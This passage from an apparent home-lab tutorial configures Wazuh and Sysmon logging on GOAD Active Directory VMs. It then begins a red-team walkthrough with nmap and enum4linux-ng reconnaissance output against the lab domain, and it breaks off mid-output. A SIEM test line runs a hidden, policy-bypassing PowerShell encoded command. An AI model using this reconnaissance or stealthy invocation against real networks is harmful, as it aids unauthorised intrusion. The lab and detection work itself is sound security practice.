{<br>    [xml]$xml = Get-Content $OssecConf</pre><pre>    function Add-LogChannel($channelName) {<br>        $exists = $xml.ossec_config.localfile | Where-Object { $_.location -eq $channelName }<br>        if (-not $exists) {<br>            $localfile = $xml.CreateElement(&quot;localfile&quot;)<br>            <br>            $location = $xml.CreateElement(&quot;location&quot;)<br>            $location.InnerText = $channelName<br>            $localfile.AppendChild($location) | Out-Null<br>            <br>            $logformat = $xml.CreateElement(&quot;log_format&quot;)<br>            $logformat.InnerText = &quot;eventchannel&quot;<br>            $localfile.AppendChild($logformat) | Out-Null<br>            <br>            $xml.ossec_config.AppendChild($localfile) | Out-Null<br>        }<br>    }</pre><pre>    Add-LogChannel &quot;Microsoft-Windows-Sysmon/Operational&quot;<br>    Add-LogChannel &quot;Microsoft-Windows-PowerShell/Operational&quot;<br>    <br>    $xml.Save($OssecConf)<br>    <br>    if (Get-Service Wazuh -ErrorAction SilentlyContinue) {<br>        Restart-Service Wazuh<br>    }<br>}</pre><pre>Write-Host &quot;[+] SUCCESS: All tools installed and Wazuh agent restarted.&quot; -ForegroundColor Green</pre><p>This code sets up the Windows VMs with Sysmon without you having to access them, you can also add whatever else you need to download in the script.</p><p>After adding the code and your machine is running, you have to update it and make it run this script.</p><pre># Update all the VMs running the full Vagrantfile script<br>vagrant provision<br># Update the VMs using a specific function insead of the whole script<br>vagrant --provision-with sysmon<br># Update specific VM<br>vagrant provision GOAD-Light-DC01<br># Update specific function on a specific VM<br>vagrant provision GOAD-Light-DC02 --provision-with wazuh-agent</pre><pre>QUICK NOTE: You may run through errors, so debug and check the code according to your lab setup, system hardware, and other requirements you might be overlooking.</pre><p><strong>After updating all VMs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e08IUkK2FCKZ7a-T.png" /></figure><p><strong>Setting up Wazuh through PowerShell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4m7ntIupVXuijsDM.png" /></figure><p><strong>Deploying Docker for Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ppUtpzMaIsVnjCD3.png" /></figure><p><strong>All images sould be</strong> <strong>up</strong>*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Uz-IQKbTLx5-8mN2.png" /></figure><p><strong>Wazuh Dashboard</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DRmYo-ogxwCTp_ba.png" /></figure><p><strong>Test the SIEM</strong></p><pre>vagrant winrm GOAD-Light-DC01 -e -c &quot;powershell.exe -ExecutionPolicy Bypass -nop -w hidden -EncodedCommand AAAA&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*atIPQr8TxdXkqIvw.png" /></figure><p>Ok now we are ready.</p><h3>Red Teaming</h3><p>In this section, we will perform a red team operation by attempting to gain access and takeover the Active Directory, from recon to post exploitation. Get a coffee and lets get started!</p><h3>Reconnaissance</h3><p>I will start by using <strong>Nmap</strong> to get information about the hosts on the network.</p><pre>$ sudo nmap -sCV -p- 192.168.56.0/24 -oN rez.txt</pre><pre># Scan Results:<br># Nmap scan report for 192.168.56.10<br>Host is up (0.0012s latency).<br>Not shown: 985 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-title: IIS Windows Server<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-10 12:08:19Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:kingslanding.sevenkingdoms.local<br>| Not valid before: 2026-08-09T18:28:21<br>|_Not valid after:  2027-08-09T18:28:21<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:kingslanding.sevenkingdoms.local<br>| Not valid before: 2026-08-09T18:28:21<br>|_Not valid after:  2027-08-09T18:28:21<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:kingslanding.sevenkingdoms.local<br>| Not valid before: 2026-08-09T18:28:21<br>|_Not valid after:  2027-08-09T18:28:21<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:kingslanding.sevenkingdoms.local<br>| Not valid before: 2026-08-09T18:28:21<br>|_Not valid after:  2027-08-09T18:28:21<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: SEVENKINGDOMS<br>|   NetBIOS_Domain_Name: SEVENKINGDOMS<br>|   NetBIOS_Computer_Name: KINGSLANDING<br>|   DNS_Domain_Name: sevenkingdoms.local<br>|   DNS_Computer_Name: kingslanding.sevenkingdoms.local<br>|   DNS_Tree_Name: sevenkingdoms.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-08-10T12:10:49+00:00<br>| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local<br>| Not valid before: 2026-08-08T17:49:38<br>|_Not valid after:  2027-02-07T17:49:38<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>5986/tcp open  ssl/wsmans?<br>| ssl-cert: Subject: commonName=VAGRANT<br>| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant<br>| Not valid before: 2026-08-08T10:29:28<br>|_Not valid after:  2029-08-07T10:29:28<br>| tls-alpn: <br>|   h2<br>|_  http/1.1<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>MAC Address: 00:0C:29:6A:E7:D9 (VMware)c<br>Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-time: <br>|   date: 2026-08-10T12:10:50<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:6a:e7:d9 (VMware)</pre><pre># Nmap scan report for 192.168.56.11<br>Host is up (0.0013s latency).<br>Not shown: 986 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-10 12:08:19Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:winterfell.north.sevenkingdoms.local<br>| Not valid before: 2026-08-09T20:26:09<br>|_Not valid after:  2027-08-09T20:26:09<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:winterfell.north.sevenkingdoms.local<br>| Not valid before: 2026-08-09T20:26:09<br>|_Not valid after:  2027-08-09T20:26:09<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:winterfell.north.sevenkingdoms.local<br>| Not valid before: 2026-08-09T20:26:09<br>|_Not valid after:  2027-08-09T20:26:09<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>3269/tcp open  ssl/ldap<br>| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:winterfell.north.sevenkingdoms.local<br>| Not valid before: 2026-08-09T20:26:09<br>|_Not valid after:  2027-08-09T20:26:09<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local<br>| Not valid before: 2026-08-08T18:12:21<br>|_Not valid after:  2027-02-07T18:12:21<br>| rdp-ntlm-info: <br>|   Target_Name: NORTH<br>|   NetBIOS_Domain_Name: NORTH<br>|   NetBIOS_Computer_Name: WINTERFELL<br>|   DNS_Domain_Name: north.sevenkingdoms.local<br>|   DNS_Computer_Name: winterfell.north.sevenkingdoms.local<br>|   DNS_Tree_Name: sevenkingdoms.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-08-10T12:10:50+00:00<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>5986/tcp open  ssl/wsmans?<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| tls-alpn: <br>|   h2<br>|_  http/1.1<br>| ssl-cert: Subject: commonName=VAGRANT<br>| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant<br>| Not valid before: 2026-08-08T10:32:16<br>|_Not valid after:  2029-08-07T10:32:16<br>MAC Address: 00:0C:29:64:73:57 (VMware)<br>Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-time: <br>|   date: 2026-08-10T12:10:50<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>|_nbstat: NetBIOS name: WINTERFELL, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:64:73:57 (VMware)</pre><pre># Nmap scan report for 192.168.56.22<br>Host is up (0.00097s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: Site doesnt have a title (text/html).<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds?<br>1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| ms-sql-info: <br>|   192.168.56.22:1433: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 1433<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2026-08-10T10:48:07<br>|_Not valid after:  2056-08-10T10:48:07<br>| ms-sql-ntlm-info: <br>|   192.168.56.22:1433: <br>|     Target_Name: NORTH<br>|     NetBIOS_Domain_Name: NORTH<br>|     NetBIOS_Computer_Name: CASTELBLACK<br>|     DNS_Domain_Name: north.sevenkingdoms.local<br>|     DNS_Computer_Name: castelblack.north.sevenkingdoms.local<br>|     DNS_Tree_Name: sevenkingdoms.local<br>|_    Product_Version: 10.0.17763<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local<br>| Not valid before: 2026-08-08T18:26:55<br>|_Not valid after:  2027-02-07T18:26:55<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: NORTH<br>|   NetBIOS_Domain_Name: NORTH<br>|   NetBIOS_Computer_Name: CASTELBLACK<br>|   DNS_Domain_Name: north.sevenkingdoms.local<br>|   DNS_Computer_Name: castelblack.north.sevenkingdoms.local<br>|   DNS_Tree_Name: sevenkingdoms.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-08-10T12:10:50+00:00<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>5986/tcp open  ssl/wsmans?<br>|_ssl-date: 2026-08-10T12:11:23+00:00; 0s from scanner time.<br>| tls-alpn: <br>|   h2<br>|_  http/1.1<br>| ssl-cert: Subject: commonName=VAGRANT<br>| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant<br>| Not valid before: 2026-08-08T10:37:20<br>|_Not valid after:  2029-08-07T10:37:20<br>MAC Address: 00:0C:29:2A:E9:1F (VMware)<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-time: <br>|   date: 2026-08-10T12:10:51<br>|_  start_date: N/A<br>|_nbstat: NetBIOS name: CASTELBLACK, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:2a:e9:1f (VMware)<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required</pre><pre>Nmap scan report for 192.168.56.99<br>Host is up.                                                                      <br>All 1000 scanned ports on 192.168.56.99 are in ignored states.                   <br>Not shown: 1000 filtered tcp ports (no-response)                                 <br>Post-scan script results:                                                        <br>| clock-skew:                                                                    <br>|   0s:                                                                          <br>|     192.168.56.10                                                              <br>|     192.168.56.22                                                              <br>|_    192.168.56.11</pre><p><strong>Key Findings</strong>:</p><ul><li>Multiple crucial ports open</li><li>3 IP addresses we can use for further enummeration</li><li>Names of domain and hosts</li><li>Domains: <strong>sevenkingdoms.local</strong>, <strong>winterfell.north.sevenkingdoms.local</strong>, <strong>castelblack.north.sevenkingdoms.local</strong></li></ul><h3>Enumeration (External)</h3><p>Now we want more information so we can gain access to one of the users on the system, and there multiple ways to do so. I ran the following <strong>enum4linux-ng</strong> command:</p><pre># Domain enum<br>$ enum4linux-ng -A &quot;$TARGET&quot; # Target is sevenkingdoms.local           </pre><pre>ENUM4LINUX - next generation (v1.3.10)<br> ==========================<br>|    Target Information    |<br> ==========================<br>[*] Target ........... kingslanding.sevenkingdoms.local<br>[*] Username ......... &#39;&#39;<br>[*] Random Username .. &#39;thxdijqh&#39;<br>[*] Password ......... &#39;&#39;<br>[*] Timeout .......... 10 second(s)<br> =========================================================<br>|    Listener Scan on kingslanding.sevenkingdoms.local    |<br> =========================================================<br>[*] Checking LDAP<br>[+] LDAP is accessible on 389/tcp<br>[*] Checking LDAPS<br>[+] LDAPS is accessible on 636/tcp<br>[*] Checking SMB<br>[+] SMB is accessible on 445/tcp<br>[*] Checking SMB over NetBIOS<br>[+] SMB over NetBIOS is accessible on 139/tcp<br> ========================================================================<br>|    Domain Information via LDAP for kingslanding.sevenkingdoms.local    |<br> ========================================================================<br>[*] Trying LDAP<br>[+] Appears to be root/parent DC<br>[+] Long domain name is: sevenkingdoms.local<br> ===============================================================================<br>|    NetBIOS Names and Workgroup/Domain for kingslanding.sevenkingdoms.local    |<br> ===============================================================================<br>[+] Got domain/workgroup name: SEVENKINGDOMS<br>[+] Full NetBIOS names information:<br>- KINGSLANDING    &lt;00&gt; -         M &lt;ACTIVE&gt;  Workstation Service                 <br>- SEVENKINGDOMS   &lt;00&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain/Workgroup Name               <br>- SEVENKINGDOMS   &lt;1c&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain Controllers                  <br>- SEVENKINGDOMS   &lt;1b&gt; -         M &lt;ACTIVE&gt;  Domain Master Browser               <br>- KINGSLANDING    &lt;20&gt; -         M &lt;ACTIVE&gt;  File Server Service                 <br>- MAC Address = 00-0C-29-6A-E7-D9                                                <br> =============================================================<br>|    SMB Dialect Check on kingslanding.sevenkingdoms.local    |<br> =============================================================<br>[*] Trying on 445/tcp<br>[+] Supported dialects and settings:<br>Supported dialects:                                                              <br>SMB 1.0: false                                                                 <br>SMB 2.0.2: true                                                                <br>SMB 2.1: true                                                                  <br>SMB 3.0: true                                                                  <br>SMB 3.1.1: true                                                                <br>Preferred dialect: SMB 3.0                                                       <br>SMB1 only: false                                                                 <br>SMB signing required: true                                                       <br> ===============================================================================<br>|    Domain Information via SMB session for kingslanding.sevenkingdoms.local    |<br> ===============================================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found domain information via SMB<br>NetBIOS computer name: KINGSLANDING                                              <br>NetBIOS domain name: SEVENKINGDOMS                                               <br>DNS domain: sevenkingdoms.local                                                  <br>FQDN: kingslanding.sevenkingdoms.local                                           <br>Derived membership: domain member                                                <br>Derived domain: SEVENKINGDOMS                                                    <br> =============================================================<br>|    RPC Session Check on kingslanding.sevenkingdoms.local    |<br> =============================================================<br>[*] Check for anonymous access (null session)<br>[+] Server allows authentication via username &#39;&#39; and password &#39;&#39;<br>[*] Check for guest access<br>[-] Could not establish guest session: STATUS_LOGON_FAILURE<br> =======================================================================<br>|    Domain Information via RPC for kingslanding.sevenkingdoms.local    |<br> =======================================================================<br>[+] Domain: SEVENKINGDOMS<br>[+] Domain SID: S-1-5-21-604280439-1264172327-689438309<br>[+] Membership: domain member<br> ===================================================================<br>|    OS Information via RPC for kingslanding.sevenkingdoms.local    |<br> ===================================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found OS information via SMB<br>[*] Enumerating via &#39;srvinfo&#39;<br>[-] Could not get OS info via &#39;srvinfo&#39;: STATUS_ACCESS_DENIED<br>[+] After merging OS information we have the following result:<br>OS: Windows 10, Windows Server 2019, Windows Server 2016                         <br>OS version: &#39;10.0&#39;                                                               <br>OS release: &#39;1809&#39;                                                               <br>OS build: &#39;17763&#39;                                                                <br>Native OS: not supported                                                         <br>Native LAN manager: not supported                                                <br>Platform id: null                                                                <br>Server type: null                                                                <br>Server type string: null                                                         <br> =========================================================<br>|    Users via RPC on kingslanding.sevenkingdoms.local    |<br> =========================================================<br>[*] Enumerating users via &#39;querydispinfo&#39;<br>[-] Could not find users via &#39;querydispinfo&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating users via &#39;enumdomusers&#39;<br>[-] Could not find users via &#39;enumdomusers&#39;: STATUS_ACCESS_DENIED<br> ==========================================================<br>|    Groups via RPC on kingslanding.sevenkingdoms.local    |<br> ==========================================================<br>[*] Enumerating local groups<br>[-] Could not get groups via &#39;enumalsgroups domain&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating builtin groups<br>[-] Could not get groups via &#39;enumalsgroups builtin&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating domain groups<br>[-] Could not get groups via &#39;enumdomgroups&#39;: STATUS_ACCESS_DENIED<br> ==========================================================<br>|    Shares via RPC on kingslanding.sevenkingdoms.local    |<br> ==========================================================<br>[*] Enumerating shares<br>[+] Found 0 share(s) for user &#39;&#39; with password &#39;&#39;, try a different user<br> =============================================================<br>|    Policies via RPC for kingslanding.sevenkingdoms.local    |<br> =============================================================<br>[*] Trying port 445/tcp<br>[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED<br>[*] Trying port 139/tcp<br>[-] SMB connection error on port 139/tcp: session failed<br> =============================================================<br>|    Printers via RPC for kingslanding.sevenkingdoms.local    |<br> =============================================================<br>[-] Could not get printer info via &#39;enumprinters&#39;: STATUS_ACCESS_DENIED</pre><pre># 192.168.56.10 enum<br>$ enum4linux-ng -A 192.168.56.10</pre><pre>ENUM4LINUX - next generation (v1.3.10)<br> ==========================<br>|    Target Information    |<br> ==========================<br>[*] Target ........... 192.168.56.10<br>[*] Username ......... &#39;&#39;<br>[*] Random Username .. &#39;ygdrxwla&#39;<br>[*] Password ......... &#39;&#39;<br>[*] Timeout .......... 10 second(s)<br> ======================================<br>|    Listener Scan on 192.168.56.10    |<br> ======================================<br>[*] Checking LDAP<br>[+] LDAP is accessible on 389/tcp<br>[*] Checking LDAPS<br>[+] LDAPS is accessible on 636/tcp<br>[*] Checking SMB<br>[+] SMB is accessible on 445/tcp<br>[*] Checking SMB over NetBIOS<br>[+] SMB over NetBIOS is accessible on 139/tcp<br> =====================================================<br>|    Domain Information via LDAP for 192.168.56.10    |<br> =====================================================<br>[*] Trying LDAP<br>[+] Appears to be root/parent DC<br>[+] Long domain name is: sevenkingdoms.local<br> ============================================================<br>|    NetBIOS Names and Workgroup/Domain for 192.168.56.10    |<br> ============================================================<br>[+] Got domain/workgroup name: SEVENKINGDOMS<br>[+] Full NetBIOS names information:<br>- SEVENKINGDOMS   &lt;00&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain/Workgroup Name<br>- SEVENKINGDOMS   &lt;1c&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain Controllers<br>- KINGSLANDING    &lt;00&gt; -         M &lt;ACTIVE&gt;  Workstation Service<br>- KINGSLANDING    &lt;20&gt; -         M &lt;ACTIVE&gt;  File Server Service<br>- SEVENKINGDOMS   &lt;1b&gt; -         M &lt;ACTIVE&gt;  Domain Master Browser<br>- MAC Address = 00-0C-29-C8-3C-FD<br> ==========================================<br>|    SMB Dialect Check on 192.168.56.10    |<br> ==========================================<br>[*] Trying on 445/tcp<br>[+] Supported dialects and settings:<br>Supported dialects:                                                              <br>SMB 1.0: false                                                                 <br>SMB 2.0.2: true                                                                <br>SMB 2.1: true                                                                  <br>SMB 3.0: true                                                                  <br>SMB 3.1.1: true                                                                <br>Preferred dialect: SMB 3.0                                                       <br>SMB1 only: false                                                                 <br>SMB signing required: true                                                       <br> ============================================================<br>|    Domain Information via SMB session for 192.168.56.10    |<br> ============================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found domain information via SMB<br>NetBIOS computer name: KINGSLANDING                                              <br>NetBIOS domain name: SEVENKINGDOMS                                               <br>DNS domain: sevenkingdoms.local                                                  <br>FQDN: kingslanding.sevenkingdoms.local                                           <br>Derived membership: domain member                                                <br>Derived domain: SEVENKINGDOMS                                                    <br> ==========================================<br>|    RPC Session Check on 192.168.56.10    |<br> ==========================================<br>[*] Check for anonymous access (null session)<br>[+] Server allows authentication via username &#39;&#39; and password &#39;&#39;<br>[*] Check for guest access<br>[-] Could not establish guest session: STATUS_LOGON_FAILURE<br> ====================================================<br>|    Domain Information via RPC for 192.168.56.10    |<br> ====================================================<br>[+] Domain: SEVENKINGDOMS<br>[+] Domain SID: S-1-5-21-604280439-1264172327-689438309<br>[+] Membership: domain member<br> ================================================<br>|    OS Information via RPC for 192.168.56.10    |<br> ================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found OS information via SMB<br>[*] Enumerating via &#39;srvinfo&#39;<br>[-] Could not get OS info via &#39;srvinfo&#39;: STATUS_ACCESS_DENIED<br>[+] After merging OS information we have the following result:<br>OS: Windows 10, Windows Server 2019, Windows Server 2016                         <br>OS version: &#39;10.0&#39;                                                               <br>OS release: &#39;1809&#39;                                                               <br>OS build: &#39;17763&#39;                                                                <br>Native OS: not supported                                                         <br>Native LAN manager: not supported                                                <br>Platform id: null                                                                <br>Server type: null                                                                <br>Server type string: null                                                         <br> ======================================<br>|    Users via RPC on 192.168.56.10    |<br> ======================================<br>[*] Enumerating users via &#39;querydispinfo&#39;<br>[-] Could not find users via &#39;querydispinfo&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating users via &#39;enumdomusers&#39;<br>[-] Could not find users via &#39;enumdomusers&#39;: STATUS_ACCESS_DENIED<br> =======================================<br>|    Groups via RPC on 192.168.56.10    |<br> =======================================<br>[*] Enumerating local groups<br>[-] Could not get groups via &#39;enumalsgroups domain&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating builtin groups<br>[-] Could not get groups via &#39;enumalsgroups builtin&#39;: STATUS_ACCESS_DENIED<br>[*] Enumerating domain groups<br>[-] Could not get groups via &#39;enumdomgroups&#39;: STATUS_ACCESS_DENIED<br> =======================================<br>|    Shares via RPC on 192.168.56.10    |<br> =======================================<br>[*] Enumerating shares<br>[+] Found 0 share(s) for user &#39;&#39; with password &#39;&#39;, try a different user<br> ==========================================<br>|    Policies via RPC for 192.168.56.10    |<br> ==========================================<br>[*] Trying port 445/tcp<br>[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED<br>[*] Trying port 139/tcp<br>[-] SMB connection error on port 139/tcp: session failed<br> ==========================================<br>|    Printers via RPC for 192.168.56.10    |<br> ==========================================<br>[-] Could not get printer info via &#39;enumprinters&#39;: STATUS_ACCESS_DENIED</pre><pre># 192.168.56.11 enum (Most important)<br>$ enum4linux-ng -A 192.168.56.11<br>ENUM4LINUX - next generation (v1.3.10)<br> ==========================<br>|    Target Information    |<br> ==========================<br>[*] Target ........... 192.168.56.11<br>[*] Username ......... &#39;&#39;<br>[*] Random Username .. &#39;agnnarel&#39;<br>[*] Password ......... &#39;&#39;<br>[*] Timeout .......... 10 second(s)<br> ======================================<br>|    Listener Scan on 192.168.56.11    |<br> ======================================<br>[*] Checking LDAP<br>[+] LDAP is accessible on 389/tcp<br>[*] Checking LDAPS<br>[+] LDAPS is accessible on 636/tcp<br>[*] Checking SMB<br>[+] SMB is accessible on 445/tcp<br>[*] Checking SMB over NetBIOS<br>[+] SMB over NetBIOS is accessible on 139/tcp<br> =====================================================<br>|    Domain Information via LDAP for 192.168.56.11    |<br> =====================================================<br>[*] Trying LDAP<br>[+] Appears to be root/parent DC<br>[+] Long domain name is: sevenkingdoms.local<br> ============================================================<br>|    NetBIOS Names and Workgroup/Domain for 192.168.56.11    |<br> ============================================================<br>[+] Got domain/workgroup name: NORTH<br>[+] Full NetBIOS names information:<br>- WINTERFELL      &lt;00&gt; -         M &lt;ACTIVE&gt;  Workstation Service                 <br>- NORTH           &lt;00&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain/Workgroup Name               <br>- NORTH           &lt;1c&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain Controllers                  <br>- WINTERFELL      &lt;20&gt; -         M &lt;ACTIVE&gt;  File Server Service                 <br>- NORTH           &lt;1b&gt; -         M &lt;ACTIVE&gt;  Domain Master Browser               <br>- MAC Address = 00-0C-29-7E-4F-33                                                <br> ==========================================<br>|    SMB Dialect Check on 192.168.56.11    |<br> ==========================================<br>[*] Trying on 445/tcp<br>[+] Supported dialects and settings:<br>Supported dialects:                                                              <br>SMB 1.0: false                                                                 <br>SMB 2.0.2: true                                                                  SMB 2.1: true                                                                   SMB 3.0: true                                                                  <br>SMB 3.1.1: true                                                                <br>Preferred dialect: SMB 3.0                                                       <br>SMB1 only: false                                                                 <br>SMB signing required: true                                                       <br> ============================================================<br>|    Domain Information via SMB session for 192.168.56.11    |<br> ============================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found domain information via SMB<br>NetBIOS computer name: WINTERFELL                                                <br>NetBIOS domain name: NORTH                                                       <br>DNS domain: north.sevenkingdoms.local                                            <br>FQDN: winterfell.north.sevenkingdoms.local                                       <br>Derived membership: domain member                                                <br>Derived domain: NORTH                                                            <br> ==========================================<br>|    RPC Session Check on 192.168.56.11    |<br> ==========================================<br>[*] Check for anonymous access (null session)<br>[+] Server allows authentication via username &#39;&#39; and password &#39;&#39;<br>[*] Check for guest access<br>[-] Could not establish guest session: STATUS_LOGON_FAILURE<br> ====================================================<br>|    Domain Information via RPC for 192.168.56.11    |<br> ====================================================<br>[+] Domain: NORTH<br>[+] Domain SID: S-1-5-21-508423329-115901089-1858097058<br>[+] Membership: domain member<br> ================================================<br>|    OS Information via RPC for 192.168.56.11    |<br> ================================================<br>[*] Enumerating via 